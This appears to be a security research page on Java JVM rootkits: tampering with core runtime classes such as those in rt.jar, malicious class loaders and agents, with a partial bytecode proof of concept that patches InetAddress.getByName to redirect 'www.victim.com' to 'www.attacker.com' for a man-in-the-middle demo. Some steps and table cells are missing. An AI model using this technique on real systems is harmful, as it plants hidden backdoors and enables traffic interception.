| Attachment | Size |
|---|---|
| 75.05 KB | |
| 633 bytes | |
| 5.85 KB | |
| 2.67 KB |
This page introduces application level rootkit attacks on Java JVM environment, enabling an attacker to change the language runtime implementation, and to hide malicious code inside its core.
Java Rootkits, injected into the upper level class level code will influence the bytecode and make the application behave differently than what it's supposed to do. Code reviews will not detect application level backdoors since the payload is not in the code itself, but rather it is inside the JVM implementation.
Java rootkits also enables the attacker to install reverse shells, to steal valuable information, to fixate encryption keys, disable security checks and to perform other nasty things.
Overview of Java JVM modification steps
| Locate the class (usually in rt.jar) and extract it: |
| Dissassemble it (using Jasper disassembler) |
| Modify the bytecode | |
| Deploy the modified class back to its location: |
| AOP - Aspect programming (dynamic weaving) | |
| Configuration modification | |
| Setting an alternative evil ClassLoader | |
| Loading a malicious agent “-javaagent:MyEvilAgent.jar” (Java) |
Proof-Of-Concept
aload_1
invokevirtual java/io/PrintStream/print(Ljava/lang/String;)V
aload_0
invokespecial java/io/PrintStream/newLine()V
aload_2
".method public static getByName(Ljava/lang/String;)Ljava/net/InetAddress;":
ldc "www.victim.com"
;compare the 2 strings
invokevirtual java/lang/String/equals(Ljava/lang/Object;)Z
ifeq LABEL_compare
ldc "www.attacker.com"
astore_0 ;store attacker hostname to stack
6. Run the Client on the rooted JVM machine, using:
java Client
7. Run the Server on a machine called "www.victim.com", using:
8. Run the Man-In-The-Middle Server on a machine called "www.attacker.com", using:
java TCPChatMitM





